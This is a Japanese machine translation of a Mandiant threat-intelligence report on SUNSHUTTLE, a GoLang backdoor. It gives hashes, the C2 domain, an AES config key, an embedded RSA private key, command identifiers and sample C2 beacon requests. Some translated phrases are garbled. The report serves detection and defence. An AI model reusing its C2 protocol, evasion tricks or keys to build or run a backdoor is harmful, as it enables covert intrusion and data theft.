新しい SUNSHUTTLE の第 2 段階のバックドアが発見され、米国を拠点とする組織を標的にしていました。 UNC2452への可能な接続

Mac address check news

エグゼクティブサマリー

  • 2020 年 8 月、米国を拠点とする企業が、私たちが SUNSHUTTLE と命名した新しいバックドアを公開マルウェア リポジトリにアップロードしました。
  • SUNSHUTTLE は、GoLang で記述された第 2 段階のバックドアであり、いくつかの検出回避機能を備えています。
  • Mandiant は、UNC2452 によって侵害された被害者で SUNSHUTTLE を観察し、それが UNC2452 にリンクされていることを示していますが、この接続を完全には検証していません。
  • 関連する MITRE ATT&CK 手法 (T1027、T1027.002、T1059.003、T1071.001、T1105、T1140、T1573.001) については、テクニカル アネックスを参照してください。

このブログ投稿で説明されているアクティビティは、 Microsoft のブログ投稿でも詳しく説明されています。この攻撃者を追跡するために多大な協力をしてくれた Microsoft のチームと他のパートナーに感謝します。

脅威の詳細

Mandiant Threat Intelligence は、2020 年 8 月に、米国に拠点を置くエンティティによってパブリック マルウェア リポジトリにアップロードされた新しいバックドアを発見し、それを SUNSHUTTLE と名付けました。 SUNSHUTTLE は GO で記述され、組み込みまたはローカルの構成ファイルを読み取り、HTTPS を介してハードコーディングされたコマンド アンド コントロール (C2) サーバーと通信し、その構成のリモート アップロード、ファイルのアップロードとダウンロード、および任意のコマンドの実行を含むコマンドをサポートします。特に、SUNSHUTTLE は Cookie ヘッダーを使用して C2 に値を渡します。構成されている場合は、人気のある Web サイト URL のリストからリファラーを選択して、そのようなネットワーク トラフィックが「溶け込む」のを助けることができます。

  • 調査した SUNSHUTTLE バックドア ファイル「Lexicon.exe」(MD5: 9466c865f7498a35e4e1a8f48ef1dffd)は、GoLang で記述されていました。ファイルは MD5 に解凍されます: 86e89349fefcbdd9d2c80ca30fa85511。
  • SUNSHUTTLE の感染経路は不明です。これは、最初の侵入後に第 2 段階のバックドアがドロップされた可能性が最も高いです。
  • SUNSHUTTLE サンプルは、攻撃者が制御するサーバー「reyweb[.]com」を C2 に使用します。 「Reyweb[.]com」は、ビットコイン支払いを受け入れるドメイン プロバイダーである NameSilo を介して匿名で登録されており、ロシア関連のアクターやイラン関連の APT を含む、過去に国家支援の APT によって C2 登録に使用されてきました。

Mandiant は、UNC2452 によって侵害された被害者で SUNSHUTTLE を観察し、それが UNC2452 にリンクされていることを示していますが、この接続を完全には検証していません。

UNC2452 と SUNBURST キャンペーンの背景については、FireEye のリソース センターを参照してください。

展望と影響

新しい SUNSHUTTLE バックドアは洗練された第 2 段階のバックドアであり、C2 通信用の「ブレンドイン」トラフィック機能を介して、単純かつ洗練された検出回避技術を示します。 SUNSHUTTLE は、他の SUNBURST 関連ツールと一緒にネットワーク偵察を行うための妥協の第 2 段階のバックドアとして機能します。

テクニカルアネックス

Mandiant Threat Intelligence は、オンラインのマルチ アンチウイルス スキャン サービスにアップロードされた SUNSHUTTLE バックドアのサンプルを発見しました。 SUNSHUTTLE は、GO で記述されたバックドアであり、組み込みまたはローカルの構成ファイルを読み取り、HTTPS を介して C2 サーバーと通信し、構成のリモート更新、ファイルのアップロードとダウンロード、および任意のコマンドの実行を含むコマンドをサポートします。

  • Lexicon.exe (MD5: 9466c865f7498a35e4e1a8f48ef1dffd)
    • C2: レイウェブ[.]com
    • 利用できません (MD5: 86e89349fefcbdd9d2c80ca30fa85511)
      • 9466c865f7498a35e4e1a8f48ef1dffd の解凍バージョン

感染ベクター

分析されたサンプルでは、感染ベクターは不明です。

実行

実行の概要

SUNSHUTTLE は GoLang で書かれたバックドアです。 SUNSHUTTLE が実行されると、実行の概要は次のようになります。

  • 構成設定の決定
  • C2 に「セッション キー」を要求する
  • C2 から「セッション キー」を取得します。
    • セッション キーが取得されると、SUNSHUTTLE はコマンド リクエスト ビーコン ループを開始します。
  • コマンド リクエスト ビーコンを開始する
  • コマンドを解決してアクションを実行する

分析された SUNSHUTTLE サンプルには、マルウェアによって使用されたルーチンの名前が保持されています。これには、次のものが含まれます。

main.request_session_key

main.define_internal_settings

main.send_file_part

main.clean_file

main.send_command_result

main.retrieve_session_key

main.save_internal_settings

main.resolve_command

main.write_file

main.ビーコン

main.wget_file

main.fileExists

main.encrypt

main.decrypt

メイン.ランダム

main.removeBase64Padding

main.addBase64Padding

main.delete_empty

main.Unpad

main.GetMD5Hash

main.パッド

注: SUNSHUTTLE バックドア全体で、Cookie ヘッダーを介して C2 に対して実行されている操作を示すために一意の文字列識別子が使用され、C2 からの応答コンテンツを検証および解析するためにも一意の文字列識別子が使用されます。これらの一意の文字列値は、コンパイルされたサンプルごとに一意でランダムであると考えられます。

初期実行

実行されると、SUNSHUTTLE バックドアは被害者の MAC アドレスを列挙し、それをハードコードされた MAC アドレス値「c8:27:cc:c2:37:5a」と比較します。一致が見つかった場合、バックドアは終了します。 MAC アドレスは、Windows サンドボックス ネットワーク アダプターの既定の MAC アドレスである可能性があります。

Mac address check
図 1: Mac アドレス チェック

構成

チェックが成功すると、SUNSHUTTLE バックドアは「 main_define_internal_settings」という名前のルーチンに入ります。これは、SUNSHUTTLE が実行されているディレクトリに構成ファイルが存在しない場合に、構成ファイルの作成を処理します。分析したサンプルの構成ファイル名は「config.dat.tmp」です。構成データは Base64 でエンコードされ、次のキーを使用して AES-256 で暗号化されます。

hz8l2fnpvp71ujfy8rht6b0smouvp9k8

Base64 がデコードされ、AES が復号化された場合、構成には次の例の値があります。

48b9e25491e088a35105274cae0b9e67|5-15|0|0|TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2V
ja28vMjAxMDAxMDEgRmlyZWZveC83NS4w

構成には、「|」で区切られた複数の値が保持されます。以下に簡単に説明します。

  • 48b9e25491e088a35105274cae0b9e67
    • 実行中に計算された現在のタイムスタンプの MD5 ハッシュ。
  • 5-15
    • SUNSHUTTLE の実行時にスリープ時間をランダムに生成するために使用される下限/上限
  • 0
    • 0 または 1 — 「ブレンドイン」トラフィック リクエストを利用します。内部的に「false_requesting」と呼ばれる
  • 0
    • 実行タイムスタンプをアクティブにする (デフォルトでは 0) — 現在の時間が構成の値よりも大きい場合、実行が「アクティブ化」または続行されます。
  • TW96awxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6NzUuMCkgR2Vja2
    8vMjAxMDAxMDEgRmlyZWZveC83NS4w
    • HTTPS リクエストで使用される Base64 でエンコードされたユーザー エージェント
    • デコード: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0

構成で設定されている場合、マルウェアが実行され、そのルーチンを移行すると、「ブレンドイン」トラフィックが発生します。次の URL は、「ブレンドイン」リクエストに利用されます。

  • https://reyweb[.]com/icon.ico
  • https://reyweb[.]com/icon.png
  • https://reyweb[.]com/script.js
  • https://reyweb[.]com/style.css
  • https://reyweb[.]com/css/style.css
  • https://reyweb[.]com/css/bootstrap.css
  • https://reyweb[.]com/scripts/jquery.js
  • https://reyweb[.]com/scripts/bootstrap.js
  • https://cdn.mxpnl[.]com/
  • https://cdn.google[.]com/
  • https://cdn.jquery[.]com/
  • https://code.jquery[.]com/
  • https://cdn.cloudflare[.]com/

セッション キーのメカニズム

SUNSHUTTLE は、C2 に対して最初の要求を実行して要求し、内部でセッション キーと呼ばれるものを取得します。 C2 から取得されたセッション キーは、SUNSHUTTLE に埋め込まれ、コンパイルされたサンプルごとに一意であると考えられる次の秘密キーを使用して RSA 復号化されているようです。復号化されたセッション キーがどのように使用されるかについては分析が進行中ですが、SUNSHUTTLE がコマンド アンド コントロール ルーチンに移行すると、コンテンツの暗号化に使用されるセッション キーである可能性があります。

—–プライベートキーの開始—–
MIIEowIBAAKCAQEA0Aj/3K3m/rKNESwUfHC9qAhnsNYA9bJ4HQ30DPsfPDvbbHZm
Uj5nyp2abjYZYMQbWa2+ZO4Ixgfdm0FzsAH/haKIN4sSkbw+YRESYW35MnMI3Adf
mj/eK/yKNblyoe/7iWP3nz+y4Q/QI0L6BrF7VodTaDYtDup3iI+B5zjmhElf9Fmg
S1JiDUgydz5VXJR/esv6hB7GMfEb/3sIAzv5qcwEvGK5HH1EzQ7zjauyhbsF9pHR
zCFYlvW4OtaU0o3xjVufo5UwYRS5p/EFpof45zuJGLJ02cKUmxc0OX53t3Bn9WXY
ADDHYP/RPzywG8N9gTBv8rKxRIsFxxKu+8wK+QIDAQABAOIBAGe4hPDe13OXTBQK
uTAN+dEKV6ZoHFRjpdU+lrY+IiWi5lSed4d7y73OdCem23xOaiB9KpchwsgRNeDp
cieH54EWNvoSYbC9fRBiNZrT/NG1Xu5s0rKSM1AU+kes7UVl5DBs4hHI7YOeobRi
+UuLA6ZxlBk6IZ71MaGpgyfoS64aDMvZDtcaTEGzw6dRQAU9255DTIc2YYbq8MqL
zSafD5eBDH3Izmblg0kXiidec1A1sytz5u8xW4XckHfp4xePLVw/RvLJGqNJMK5M
7tXAFwPzg+u4k7ce7uNw9VWW7n28T9xznUux1gtPQj1N6goDaBaOqY+h0ia9F1RP
wu6ZtG0CgYEA8vCFmagmMz4vjO04ELyPnvnaS6CReYCVzmvNugIDlxBLDGCnKBVx
et7qEk3gMkbtcDUOZpXQAIVCWQNupAhI0t5bb/Pfw3HtH3Xt5NRUYmwxTgNRe06D
i4ICsg2+8TDinjne9hzsEe9DYE2WRrtLMJ+IPD+QE94J3Sei03k1wpMCgYEA2zga
Tff6jQeNn9G0ipHa1DvJmi98px51o0r7TUfZRxJfgg4ckyMZUHKALrZszKAnxP7
MXYrJuOHpsp0EZc1e3uTjFzrKyKRTQ78c7MNGv07w1PlZuNLtkoqepUjkQzdxKZO
g9gG0O4lC5jjnSg8jUSChhZn+jrU8Vx7ByOP98MCgYAWi5+6RZzo8IJ1L6aeVwF1
HXbWweX+QqKkb3i+JGW05Twxv96DZ8oKPxm17Sg7Qj3Sxfm6J3kQM02++QSRkHtB
pUR1K4Vc0MwQj97lwDlyWih9sjfCqBGmCAR6f6oX4MICBJzAKgf2faEv26MzeDi
eEuqW7PBRD/iGEWSHpOQpQKBgQDRgV+aTjk0mRhfugHKQLSbCnyUj3eZG8IfiiR7
agQcKVH/sE7cy8u9Bc/xPKGb4dMMtQLm9WEuLFtTKr8cpJ8nYSXVCmRx9/pXY9Af
HuqSdZutBDweryvxLhZEys2P7XTwYGQ/GreA8eeTms1FP9QGyofXcAh1G86w0Mp/
Oxx3EwKBgHXxgQa4/ngTlMNhWP+IvHOLOVAxDK2GL3XQdr8fudZe9c1d7VzIbYj6
gbwLT9qi0wG5FAWqH163XucAirT6WCtAJ3tK0lfbS7oWJ7L/Vh1+vOe6jfs/nQna
Ao2QPbN8RiltHeaAq0ZfrgwrQuP5fmigmBa5lOWID/eU2OLlvJGi
—–秘密鍵の終了—

構成が作成または読み取られた後、SUNSHUTTLE は「 main_request_session_key」という名前のルーチンに入ります。マルウェアは、成功するまでこのルーチンを反復し、反復ごとに一定期間スリープします。

「 main_request_session_key」ルーチン内で、SUNSHUTTLE は設定された C2 への HTTPS リクエストを作成します。リクエストからの HTTP 200 レスポンスでは、C2 からのレスポンス データには、分析されたサンプルの次の文字列が含まれていないと予想されます。

  • ywQdjLuHHC

request_session_key ルーチンは、文字列が応答にない場合は 1 を返し、応答にある場合は -1 を返します。 request_session_key の結果が 1 の場合、SUNSHUTTLE は retrieve_session_key ルーチンを実行します。

retrieve_session_key ルーチンは再び C2 に接続し、前述の埋め込まれた秘密鍵によって復号化されると予想されるコンテンツをダウンロードします。復号化されたコンテンツは、SUNSHUTTLE がコマンド アンド コントロール ルーチンに移行したときにコンテンツを暗号化するために使用されるセッション キーである可能性があります。

命令する

セッション キーが C2 から取得されると、SUNSHUTTLE はループ内でビーコンと「resolve_command」ルーチンを開始します。 SUNSHUTTLE は、まずコマンドを取得するためにビーコンを発行します。その後、SUNSHUTTLE はルーチン「resolve_command」に入り、応答の内容を解析して実行するコマンドを決定します。使用可能なコマンドには、構成のリモート更新、ファイルのアップロードとダウンロード、および任意のコマンドの実行が含まれます。

コマンド グラフを解決する
図 2: コマンド グラフの解決

「main_beaconing」ルーチンの後に C2 から返されたコンテンツは、Base64 でデコードされ、AES で復号化されます。復号化されたコンテンツに次の文字列が含まれていないことを確認するためのチェックが実行されます。

  • Cp5RTQ31R1

前述のように、これらの文字列はサンプルごとに一意であり、コンパイル時にランダムに生成される可能性があります。

復号化されたコンテンツは、特定の一意の文字列について解析されます。

復号化された応答の一意の文字列

意味

zSsP2TSJJm3a

睡眠範囲を更新 — 設定を保存

aQJmWJzXdYK721mGBI3U

「false requesting」値を更新 – 設定を保存

W5VYP9Iu2uyHK

C2 URL とユーザーエージェントを更新 – 設定を保存

3487wD9t2OZkvqdwRpqPeE

現在のタイムスタンプを C2 に送信する

ubFxROBRwfswVRWNjLC

構成内の「アクティベーション」タイムスタンプを更新 — 構成を保存

TMuhGdA9EHY

ファイルが存在する場合は、ファイルを C2 にアップロードします

1kG4NaRX83BCMgLo38Bjq

コマンドを実行 – 成功した場合は「EXECED」を返す

hB0upT6CUmdRaR2KVBvxrJ

コマンドの実行 – 結果/出力を返す

該当なし (その他の文字列基準を満たしている)

端末コマンドの実行を提供します

該当なし (その他の文字列基準を満たしている)

C2からファイルをダウンロード

ドロップされたファイル

マルウェアの実行に成功すると、被害者のシステムに次のファイルをドロップします。

  • <現在のディレクトリ>config.dat.tmp (MD5: 動的)
    • 暗号化された構成ファイル

永続化方法

SUNSHUTTLE マルウェアが独自の持続性を設定することは確認されていません。 SUNSHUTTLE の実行外でパーシスタンスが設定されている可能性があります。

ネットワーク通信

SUNSHUTTLE は Cookie ヘッダーを使用して値を C2 に渡します。さらに、次のリストからリファラーが選択されます。これは、おそらく、トラフィックが検査のために復号化されている場合にトラフィックをブレンドするためです。

  • www.bing.com
  • www.yahoo.com
  • www.google.com
  • www.facebook.com

Cookie ヘッダーは、実行される操作によって若干異なります。以下は、「request_session_key」ルーチンから C2 へのリクエストの例です。

C2の被害者
GET /assets/index.php HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
クッキー: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
リファラー: www.facebook.com
Accept-Encoding: gzip

Cookie ヘッダー内で、これらの値は次のことを表します。

  • HjELmFxKJc=48b9e25491e088a35105274cae0b9e67
    • 構成内に含まれるタイムスタンプ MD5
  • P5hCrabkKf=gZLXIeKI
    • 「P5hCrabkKf=」には、要求を実行しているルーチンに基づく一意の文字列が含まれています (次の表を参照)。
  • IN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx
    • 「i4zICToyI70Yeidf1f7rWjm5foKX2Usx」は、SUNSHUTTLE バックドア内にハードコードされています。ペイロード識別子を表している可能性があります
  • b7XCoFSvs1YRW=78
    • 目的不明。この値は、request_session_key および retrieve_session_key リクエストにのみ含まれます。

前述のように、各リクエストに含まれる Cookie 値「P5hCrabkKf=」は、実行中の操作を示します。

「P5hCrabkKf=」クッキー値

意味

gzlxiek

main_request_session_key

do1KiqzhQ

main_clean_file

t5UITQ2PdFg5

main_wget_file

cIHiqD5p4da6OeB

main_retrieve_session_key

xpjQVt3bJzWuv

main_send_file_part

S4rgG1WifHU

main_send_command_result

マルウェアのインストール/初期化が成功すると、TCP/443 HTTPS 経由で C2 サーバー reyweb[.]com に次のコールバックを行います。

C2の被害者
GET /assets/index.php HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
クッキー: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
リファラー: www.facebook.com
Accept-Encoding: gzip

C2の被害者
GET /assets/index.php HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
クッキー: HjELmFxKJc=48b9e25491e088a35105274cae0b9e67; P5hCrabkKf=gZLXIeKI; iN678zYrXMJZ=i4zICToyI70Yeidf1f7rWjm5foKX2Usx; b7XCoFSvs1YRW=78
リファラー: www.yahoo.com
Accept-Encoding: gzip

さらに、「fake_requesting」構成値が 1 に設定されている場合、SUNSHUTTLE は実際のトラフィックと混じり合うことを意図したトラフィックを生成します。これらの要求の例は次のとおりです。

C2の被害者
GET /icon.png HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
リファラー: www.google.com
Accept-Encoding: gzip

C2の被害者
GET /css/style.css HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
リファラー: www.facebook.com
Accept-Encoding: gzip

C2の被害者
GET /css/bootstrap.css HTTP/1.1
ホスト: reyweb[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
リファラー: www.facebook.com
Accept-Encoding: gzip

正当化する犠牲者
GET / HTTP/1.1
ホスト: cdn.cloudflare[.]com
ユーザーエージェント: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
リファラー: www.google.com
Accept-Encoding: gzip

付録: MITRE ATT&CK フレームワーク

技術

説明

T1027

難読化されたファイルまたは情報

T1027.002

ソフトウェアの梱包

T1059.003

Windows コマンド シェル

T1071.001

ウェブプロトコル

T1105

Ingress ツール転送

T1140

ファイルまたは情報の難読化解除/デコード

T1573.001

対称暗号

付録: テクニックの検出

FireEye のセキュリティ ソリューションは、電子メール、エンドポイント、およびネットワーク レベルでの SUNSHUTTLE アクティビティの検出を提供します。以下は、このブログ投稿で概説されているアクティビティに関連する既存の検出のスナップショットです。

プラットフォーム

検出名

  • ネットワークセキュリティー
  • メールセキュリティ
  • オンデマンドでの検出
  • マルウェア ファイルのスキャン
  • マルウェア ファイル ストレージ スキャン
  • FE_APT_Backdoor_Win64_SUNSHUTTLE_1
  • FE_APT_Backdoor_Win_SUNSHUTTLE_1
  • APT.バックドア.Win.SUNSHUTTLE
  • APT.バックドア.Win.SUNSHUTTLE.MVX

エンドポイント セキュリティ

マルウェア防御 (AV/MG)

  • Trojan.GenericKD.34453763
  • Generic.mg.9466c865f7498a35

参照: https://www.mandiant.com/resources/blog/sunshuttle-second-stage-backdoor-targeting-us-based-entity

Comments

Copied title and URL